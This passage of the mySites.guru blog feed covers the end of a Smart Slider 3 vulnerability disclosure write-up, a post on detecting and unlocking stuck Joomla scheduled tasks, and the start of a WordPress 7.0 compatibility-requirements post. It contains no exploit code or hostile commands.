&lt;p&gt;The same pattern appears on the Joomla side too. The &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain/Tassos Framework vulnerability (CVE-2026-21627)&lt;/a&gt; disclosed in February 2026 is another AJAX endpoint with missing authorization, this time fully unauthenticated. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; routes requests to the nrframework plugin, which whitelists file inclusion as a non-admin task. No nonce, no login, no capability check at all. The root cause across all four vulnerabilities (Smart Slider 3, Slider Revolution, Novarain Framework, and now Joomla core itself) is the same: the AJAX handler authenticates the request but never authorises the action.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update (March 31, 2026):&lt;/strong&gt; &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 and 6.0.4&lt;/a&gt; shipped with ACL hardening for &lt;code&gt;com_ajax&lt;/code&gt; in Joomla core. The framework that routes AJAX requests for every Joomla plugin had the same authorization gap as the plugins built on top of it. This isn&apos;t a handful of careless developers - the pattern runs all the way down to the CMS itself. Extension developers who rely on &lt;code&gt;com_ajax&lt;/code&gt; should audit their own authorization checks now.&lt;/p&gt;
&lt;h2&gt;Smart Slider 3 CVE-2026-3098 Disclosure Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;February 23, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability submitted to Wordfence Bug Bounty by Dmitrii Ignatyev&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 24, 2026&lt;/td&gt;
&lt;td&gt;Wordfence validated the proof-of-concept&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 24, 2026&lt;/td&gt;
&lt;td&gt;Full details sent to Nextend (Smart Slider developer)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 24, 2026&lt;/td&gt;
&lt;td&gt;Wordfence Premium/Care/Response users received a firewall rule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 2, 2026&lt;/td&gt;
&lt;td&gt;Nextend acknowledged the report and began working on a fix&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 24, 2026&lt;/td&gt;
&lt;td&gt;Patched version 3.5.1.34 released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 26, 2026&lt;/td&gt;
&lt;td&gt;Wordfence Free users received the firewall rule&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Want Someone to Handle the Smart Slider 3 Fix for You?&lt;/h2&gt;
&lt;p&gt;If you&apos;d rather hand this off, visit &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; and submit a request. For a one-time set fee, the site gets patched, audited, locked down, and handed back secure. Non-subscribers get a free month of mySites.guru included.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/03/800000-wordpress-sites-affected-by-arbitrary-file-read-vulnerability-in-smart-slider-3-wordpress-plugin/&quot;&gt;Wordfence advisory for CVE-2026-3098&lt;/a&gt; - the original disclosure with full technical analysis&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/smart-slider-3/&quot;&gt;Smart Slider 3 on WordPress.org&lt;/a&gt; - download the latest patched version&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/security/hardening/&quot;&gt;WordPress Hardening Handbook&lt;/a&gt; - official security best practices&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/smart-slider-3&quot;&gt;Patchstack Smart Slider 3 vulnerability history&lt;/a&gt; - all eight documented CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot;&gt;WordPress secret key generator&lt;/a&gt; - regenerate your authentication keys and salts&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - the same nonce-without-capability pattern across Joomla&apos;s com_ajax and WordPress admin-ajax.php&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Four WordPress Plugins That Shipped Security Patches in March 2026&lt;/a&gt; - Elementor, Yoast SEO, WPForms, and Really Simple Security all patched critical issues in the same disclosure window as CVE-2026-3098&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads CVE-2026-0740&lt;/a&gt; - another WordPress plugin admin-ajax.php handler that made it one step further, landing an unauthenticated arbitrary file upload (CVSS 9.8) affecting around 50,000 sites&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For a broader look at CMS security, see our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>joomla</category><category>security</category><category>plugins</category><category>vulnerability</category><category>smart slider</category><enclosure url="https://mysites.guru/_astro/smart-slider-3-vulnerability.DUZJnt8P.png" length="0" type="image/png"/></item><item><title>Detect Locked Joomla Scheduled Tasks Before They Cause Problems</title><link>https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/</link><guid isPermaLink="true">https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/</guid><description>Joomla&apos;s Task Scheduler can leave tasks stuck in a locked state after crashes or timeouts. mySites.guru detects and unlocks them across all your sites.</description><pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla&apos;s Task Scheduler has been running background jobs since Joomla 4.1: sending update notifications, cleaning up expired sessions, rotating logs, processing privacy consent requests. It works well, right up until a task crashes mid-execution. When that happens, the lock is never released. The task sits there marked as &quot;running&quot; even though the process died minutes or hours ago.&lt;/p&gt;
&lt;p&gt;In the Joomla admin, locked tasks show up with a running person icon in System &amp;gt; Scheduled Tasks:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-xl border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;But nobody checks that screen regularly. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage 30 Joomla sites&lt;/a&gt;, you&apos;re not logging into each one to inspect the task scheduler. Update notifications stop arriving, sessions pile up, logs grow unchecked, and you don&apos;t find out until something breaks.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru detect and unlock locked Joomla tasks?&lt;/h2&gt;
&lt;p&gt;Every time you run a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; on a Joomla 5 or 6 site, mySites.guru checks for locked scheduled tasks automatically. The result appears in the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;audit dashboard&lt;/a&gt; alongside the rest of your site health data:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0 locked tasks: green badge, everything healthy&lt;/li&gt;
&lt;li&gt;1 or more locked tasks: warning badge with the count, plus Investigate and Fix buttons&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click Investigate to see exactly which tasks are stuck. mySites.guru connects to the site and pulls the full details: task name, type, how long it&apos;s been locked, the last exit code, and an Unlock button to fix it on the spot.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-xl border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;If a task has been locked for more than 15 minutes, mySites.guru flags it with an additional warning. Joomla&apos;s default task timeout is 300 seconds. Anything beyond that is almost certainly stuck, not actively running.&lt;/p&gt;
&lt;p&gt;The check itself is lightweight - a single &lt;code&gt;COUNT(*)&lt;/code&gt; query against an indexed column, adding negligible overhead to the snapshot.&lt;/p&gt;
&lt;h3&gt;What about checking all your sites at once?&lt;/h3&gt;
&lt;p&gt;If you manage dozens or hundreds of Joomla sites, you don&apos;t want to open each snapshot individually. The pivot page shows the locked task count for every connected Joomla site on a single screen. One glance tells you which sites have stuck tasks and which are clean. Click Investigate on any flagged site to drill into the details, or Fix to unlock the stuck tasks remotely.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-xl border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;This is where the real time savings come in. Instead of logging into 200 Joomla admin panels to check System &amp;gt; Scheduled Tasks on each one, you get the full picture from one page. Sites with zero locked tasks show green. Sites with stuck tasks show a warning count. Sort, scan, fix, move on.&lt;/p&gt;
&lt;h2&gt;What can locked Joomla tasks break?&lt;/h2&gt;
&lt;p&gt;Stuck scheduled tasks don&apos;t crash your site, but the downstream effects accumulate:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update Notification: you stop getting emails about available Joomla and extension updates. The &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;update check&lt;/a&gt; still works from mySites.guru, but local admin notifications go silent.&lt;/li&gt;
&lt;li&gt;Session GC: expired sessions aren&apos;t cleaned up. The &lt;code&gt;#__session&lt;/code&gt; table grows, slowing database queries.&lt;/li&gt;
&lt;li&gt;Privacy Consent: GDPR consent expiry processing stops. Users who should be re-prompted aren&apos;t.&lt;/li&gt;
&lt;li&gt;Log Rotation: action logs grow without bounds. On high-traffic sites, this eats disk space fast.&lt;/li&gt;
&lt;li&gt;Custom tasks from third-party extensions stop running with no error message.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last one deserves extra attention. Third-party extensions can register their own scheduled tasks via &lt;code&gt;com_scheduler&lt;/code&gt; plugins. &lt;a href=&quot;https://www.akeeba.com/&quot;&gt;Akeeba Backup&lt;/a&gt; is the most common example - it provides a task plugin for &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;automated backup schedules&lt;/a&gt;. If you&apos;ve set up Akeeba to run nightly backups via the scheduler and the task locks, your backups stop silently. You won&apos;t know until you need a restore and find the most recent backup is three weeks old.&lt;/p&gt;
&lt;p&gt;Any extension that ships a &lt;code&gt;com_scheduler&lt;/code&gt; task plugin is at risk. The Investigate view in mySites.guru shows the task type identifier, so you can tell immediately whether a locked task belongs to Joomla core or a third-party extension.&lt;/p&gt;
&lt;p&gt;None of these cause immediate, visible errors. That&apos;s the problem. They&apos;re the kind of issues you discover weeks later when someone asks &quot;why haven&apos;t we had an update notification in a month?&quot; or when a backup is needed and the latest one is stale.&lt;/p&gt;
&lt;h2&gt;Why do Joomla scheduled tasks get stuck?&lt;/h2&gt;
&lt;p&gt;Joomla scheduled tasks get stuck when the PHP process running them dies without releasing the database lock. The four most common causes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;PHP hits &lt;code&gt;max_execution_time&lt;/code&gt; or &lt;code&gt;memory_limit&lt;/code&gt;, the process dies, and the database lock persists because there&apos;s no cleanup handler.&lt;/li&gt;
&lt;li&gt;Long-running tasks lose their database connection, especially on shared hosting with aggressive connection timeouts.&lt;/li&gt;
&lt;li&gt;The web server or PHP-FPM restarts while a task is running. The lock stays.&lt;/li&gt;
&lt;li&gt;A third-party plugin providing a scheduled task throws a fatal error. The task framework can&apos;t catch it, so the lock remains.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These aren&apos;t edge cases. On a busy shared host, PHP timeouts and connection drops happen regularly. If you manage multiple Joomla sites across different hosts, you&apos;ll eventually run into locked tasks on at least a few of them.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;Note: &amp;lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47217&quot; class=&quot;underline hover:text-blue-700 dark:hover:text-blue-100&quot;&amp;gt;Joomla 5.4.2 improved cascade behaviour&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Before Joomla 5.4.2, a single stuck task would block &amp;lt;em&amp;gt;all&amp;lt;/em&amp;gt; other scheduled tasks from running. The scheduler checked for any locked task and refused to start new ones, even if the lock had long exceeded its timeout. Joomla 5.4.2 fixed this by respecting the configured timeout, so a timed-out task no longer prevents other tasks from executing. The stuck task itself still needs manual unlocking, but at least it no longer takes the entire scheduler down with it.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;How do I unlock a stuck Joomla scheduled task?&lt;/h2&gt;
&lt;p&gt;The fastest way is directly from mySites.guru. When the snapshot flags locked tasks, click Fix to unlock them remotely. mySites.guru connects to the site and clears the lock on the stuck tasks without you ever logging into the Joomla admin. This is the whole point of the feature - detect and resolve locked tasks across all your sites from one dashboard, instead of logging into each one individually.&lt;/p&gt;
&lt;p&gt;If you prefer to fix it manually, you can also unlock tasks from the Joomla admin:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Scheduled Tasks&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find the task showing the running person icon&lt;/li&gt;
&lt;li&gt;Click the task to open it&lt;/li&gt;
&lt;li&gt;The task detail screen will show the lock state, and you can manually unlock it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Or if you have database access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPDATE #__scheduler_tasks SET locked = NULL WHERE id = &amp;lt;task_id&amp;gt;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;#__&lt;/code&gt; with your actual table prefix (usually &lt;code&gt;jml_&lt;/code&gt; or similar) and &lt;code&gt;&amp;lt;task_id&amp;gt;&lt;/code&gt; with the task ID shown in the mySites.guru investigate results.&lt;/p&gt;
&lt;h2&gt;Which Joomla versions support scheduled task detection?&lt;/h2&gt;
&lt;p&gt;The Task Scheduler was introduced in Joomla 4.1, but this feature targets &lt;strong&gt;Joomla 5 and Joomla 6&lt;/strong&gt; sites. Those are the actively supported major versions, and the ones where mySites.guru invests in new audit tooling.&lt;/p&gt;
&lt;p&gt;Joomla 4 sites will not show locked task data. Joomla 3 has no task scheduler at all.&lt;/p&gt;
&lt;h2&gt;Where did this feature come from?&lt;/h2&gt;
&lt;p&gt;This feature was requested by &lt;a href=&quot;https://www.woluweb.be/&quot;&gt;Marc Dechèvre&lt;/a&gt; (WoluWeb), a long-time Joomla contributor and mySites.guru user. Marc noticed that locked tasks were a recurring pain point for agencies managing Joomla sites at scale. The information was always there in the database, but nobody had an easy way to check it across multiple sites without logging into each one individually.&lt;/p&gt;
&lt;p&gt;If you have feature ideas for mySites.guru, get in touch via the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact form&lt;/a&gt; or reply to any newsletter email. User feedback drives the roadmap.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help4.x:Scheduled_Tasks/en&quot;&gt;Joomla Scheduled Tasks Documentation&lt;/a&gt; - official help page covering task types, options, and the scheduler interface&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2022/get-to-know-the-new-joomla-task-scheduler&quot;&gt;Get to Know the Joomla Task Scheduler&lt;/a&gt; - Joomla Community Magazine introduction to the feature from its launch&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J5.x:Execution_History_of_Scheduled_Tasks&quot;&gt;Execution History of Scheduled Tasks (Joomla 5.x)&lt;/a&gt; - how to review task execution logs, added in Joomla 5.3&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/47217&quot;&gt;Issue #47217: Fix scheduled tasks stopping when one gets stuck&lt;/a&gt; - the Joomla issue tracker entry for the 5.4.2 cascade fix&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/php-file-scanner-joomlascheduled.html&quot;&gt;Akeeba Backup Scheduled Tasks Integration&lt;/a&gt; - how Akeeba uses the Joomla scheduler for automated backups&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How do I try it?&lt;/h2&gt;
&lt;p&gt;The locked scheduled tasks check ships with all &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscriptions&lt;/a&gt; at no extra cost. Connect your Joomla 5 or 6 sites and the next snapshot picks up any locked tasks automatically.&lt;/p&gt;
&lt;p&gt;Not a subscriber? The &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; runs a broad set of Joomla health checks on any site. Worth a look.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 5</category><category>joomla 6</category><category>scheduled tasks</category><category>audit</category><enclosure url="https://mysites.guru/_astro/detect-locked-joomla-scheduled-tasks.BA0dmnIK.webp" length="0" type="image/webp"/></item><item><title>How to Check Your Sites for WordPress 7.0 Compatibility</title><link>https://mysites.guru/blog/wordpress-7-requirements/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-7-requirements/</guid><description>WordPress 7.0 requires PHP 7.4+ and MySQL 8.0+, dropping PHP 7.2/7.3. Sites on older versions won&apos;t auto-update. Check your whole portfolio in seconds.</description><pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-200 bg-neutral-50 p-4 dark:border-neutral-700 dark:bg-neutral-900&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-neutral-900 dark:text-neutral-200&quot;&amp;gt;Update (3 April 2026): WordPress 7.0 has been delayed.&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-neutral-700 dark:text-neutral-300&quot;&amp;gt;The WordPress core team &amp;lt;a href=&quot;https://make.wordpress.org/core/2026/03/31/extending-the-7-0-cycle/&quot;&amp;gt;extended the 7.0 release cycle&amp;lt;/a&amp;gt; on March 31 to allow more time for real-time collaboration architecture decisions. On April 2, a &amp;lt;a href=&quot;https://make.wordpress.org/core/2026/04/02/the-path-forward-for-wordpress-7-0/&quot;&amp;gt;follow-up post&amp;lt;/a&amp;gt; confirmed that pre-release versions are paused through April 17 and a revised schedule will be published by April 22. The original April 9 date no longer applies. All requirement changes below remain unchanged.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;WordPress 7.0 was originally scheduled for April 9, 2026, but the release has been delayed while the core team reworks the real-time collaboration architecture. It raises two big floor requirements: &lt;strong&gt;PHP 7.2 and 7.3 are dropped&lt;/strong&gt; (minimum moves to PHP 7.4), and &lt;strong&gt;MySQL 8.0 is now the minimum database version&lt;/strong&gt; (up from 5.5.5 in WordPress 6.9). Sites that don&apos;t meet either requirement will not be offered the auto-update.&lt;/p&gt;
&lt;p&gt;If you manage a portfolio of WordPress sites, these are the kind of changes that catch you off guard. A site on old PHP, or a shared host still running MySQL 5.7, and suddenly that site is stuck on 6.9 while everything else moves forward. mySites.guru flags exactly which sites are affected. The &lt;a href=&quot;https://manage.mysites.guru/en/sites/&quot;&gt;Sites Overview&lt;/a&gt; shows PHP versions, MySQL/MariaDB versions, and WordPress versions for every connected site. Sites below the 7.0 minimums stand out immediately. If you&apos;re not a subscriber yet, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; reports PHP versions too.&lt;/p&gt;
&lt;h2&gt;What Changed Between WordPress 6.9 and 7.0?&lt;/h2&gt;
&lt;p&gt;&amp;lt;table class=&quot;not-prose w-full text-sm border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden&quot;&amp;gt;
&amp;lt;thead&amp;gt;
&amp;lt;tr class=&quot;border-b border-neutral-200 dark:border-neutral-700 bg-neutral-100 dark:bg-neutral-800&quot;&amp;gt;
&amp;lt;th class=&quot;py-2 px-3 text-left font-semibold&quot;&amp;gt;Component&amp;lt;/th&amp;gt;
&amp;lt;th class=&quot;py-2 px-3 text-left font-semibold&quot;&amp;gt;WordPress 6.9&amp;lt;/th&amp;gt;
&amp;lt;th class=&quot;py-2 px-3 text-left font-semibold&quot;&amp;gt;WordPress 7.0&amp;lt;/th&amp;gt;
&amp;lt;th class=&quot;py-2 px-3 text-center font-semibold&quot;&amp;gt;Changed?&amp;lt;/th&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/thead&amp;gt;
&amp;lt;tbody class=&quot;divide-y divide-neutral-100 dark:divide-neutral-800&quot;&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;py-2 px-3 font-medium&quot;&amp;gt;PHP (minimum)&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3&quot;&amp;gt;7.2.24&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3&quot;&amp;gt;7.4&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3 text-center font-semibold text-red-600 dark:text-red-400&quot;&amp;gt;Yes&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;py-2 px-3 font-medium&quot;&amp;gt;PHP (recommended)&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3&quot;&amp;gt;8.3&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3&quot;&amp;gt;8.3+&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3 text-center font-semibold text-green-600 dark:text-green-400&quot;&amp;gt;No&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;py-2 px-3 font-medium&quot;&amp;gt;MySQL&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3&quot;&amp;gt;5.5.5&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3&quot;&amp;gt;8.0&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3 text-center font-semibold text-red-600 dark:text-red-400&quot;&amp;gt;Yes&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;py-2 px-3 font-medium&quot;&amp;gt;MariaDB&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3&quot;&amp;gt;10.6 (recommended)&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3&quot;&amp;gt;10.6&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3 text-center font-semibold text-green-600 dark:text-green-400&quot;&amp;gt;No&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;py-2 px-3 font-medium&quot;&amp;gt;HTTPS&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3&quot;&amp;gt;Recommended&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3&quot;&amp;gt;Recommended&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3 text-center font-semibold text-green-600 dark:text-green-400&quot;&amp;gt;No&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;py-2 px-3 font-medium&quot;&amp;gt;Web Server&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3&quot;&amp;gt;Apache or Nginx&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3&quot;&amp;gt;Apache (mod_rewrite) or Nginx&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;py-2 px-3 text-center font-semibold text-green-600 dark:text-green-400&quot;&amp;gt;No&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;/tbody&amp;gt;
&amp;lt;/table&amp;gt;&lt;/p&gt;
&lt;p&gt;The PHP change is the one that will actually affect sites. PHP 7.2 and 7.3 usage dropped below 4% of monitored WordPress installs, which is below the 5% threshold the WordPress project uses for dropping support. The &lt;a href=&quot;https://make.wordpress.org/core/2026/01/09/dropping-support-for-php-7-2-and-7-3/&quot;&gt;official announcement&lt;/a&gt; went up in January.&lt;/p&gt;
&lt;p&gt;MySQL also gets a formal minimum bump. WordPress 6.9 technically allowed MySQL 5.5.5, though MySQL 5.7 extended support from Oracle ended back in October 2023. If your hosting provider is still running MySQL 5.x, that&apos;s a bigger problem than WordPress compatibility.&lt;/p&gt;
&lt;h3&gt;What happened when Joomla required MySQL 8?&lt;/h3&gt;
&lt;p&gt;Joomla went through this exact pain already. When &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 5 launched in October 2023&lt;/a&gt; with MySQL 8.0.13 as its minimum, budget shared hosts weren&apos;t ready. HostGator told users they&apos;d need to move to a VPS at roughly 6x the cost. GoDaddy&apos;s response to &quot;when will shared hosting get MySQL 8?&quot; was basically &quot;we don&apos;t know.&quot; SiteGround didn&apos;t even start their MySQL 8 rollout until April 2024, six months after Joomla 5 launched, and the migration took 63 days and 1,228 engineering hours across roughly 3 million databases.&lt;/p&gt;
&lt;p&gt;The result was a two-year window where Joomla users on cheap shared hosting were stuck: their host wouldn&apos;t upgrade MySQL, they couldn&apos;t upgrade to Joomla 5, and Joomla 4 was marching toward end-of-life. Many switched to MariaDB (which hosts offered more readily) or changed providers entirely.&lt;/p&gt;
&lt;p&gt;WordPress users are unlikely to hit this as hard. WordPress was still allowing MySQL 5.5.5 until now, so the jump to 8.0 sounds dramatic, but most hosts upgraded to MySQL 8 during the Joomla migration wave. If your host survived the Joomla 5 transition, you&apos;re probably fine. If they didn&apos;t, well, that tells you something about your host.&lt;/p&gt;
&lt;h2&gt;What Happens to Sites on PHP 7.2 or 7.3?&lt;/h2&gt;
&lt;p&gt;They don&apos;t break. WordPress won&apos;t force an incompatible update. Instead:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WordPress 7.0 will not be offered via the automatic update mechanism. Auto-updates skip these sites entirely.&lt;/li&gt;
&lt;li&gt;Security patches for 6.9.x will continue, so sites aren&apos;t left exposed. They stay on the 6.9 security branch.&lt;/li&gt;
&lt;li&gt;Manual updates are blocked too. The Dashboard &amp;gt; Updates screen will tell the site owner to upgrade PHP first.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The risk isn&apos;t immediate breakage. It&apos;s drift. A site stuck on 6.9 gradually falls behind on features, &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;plugin vulnerability patches&lt;/a&gt;, and eventually security coverage when the 6.9 branch reaches end of life.&lt;/p&gt;
&lt;h2&gt;How Do You Check PHP Versions Across All Your Sites?&lt;/h2&gt;
&lt;p&gt;Checking one site is easy: Dashboard &amp;gt; Tools &amp;gt; Site Health. Checking 50 or 500 is not.&lt;/p&gt;
&lt;h3&gt;WordPress 7 Compatibility Checker&lt;/h3&gt;
&lt;p&gt;We built a dedicated &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7 Compatibility Checker&lt;/a&gt; that lists every connected WordPress site and colour-codes each one against the 7.0 requirements. You can open it from the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; (&lt;code&gt;Cmd+K&lt;/code&gt; or &lt;code&gt;Ctrl+K&lt;/code&gt;) by typing &quot;wordpress 7&quot;, or with the keyboard shortcut &lt;code&gt;c&lt;/code&gt; then &lt;code&gt;7&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you&apos;re already a mySites.guru subscriber, you can open this tool right now:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;Check all your WordPress sites for 7.0 compatibility&amp;lt;/p&amp;gt;
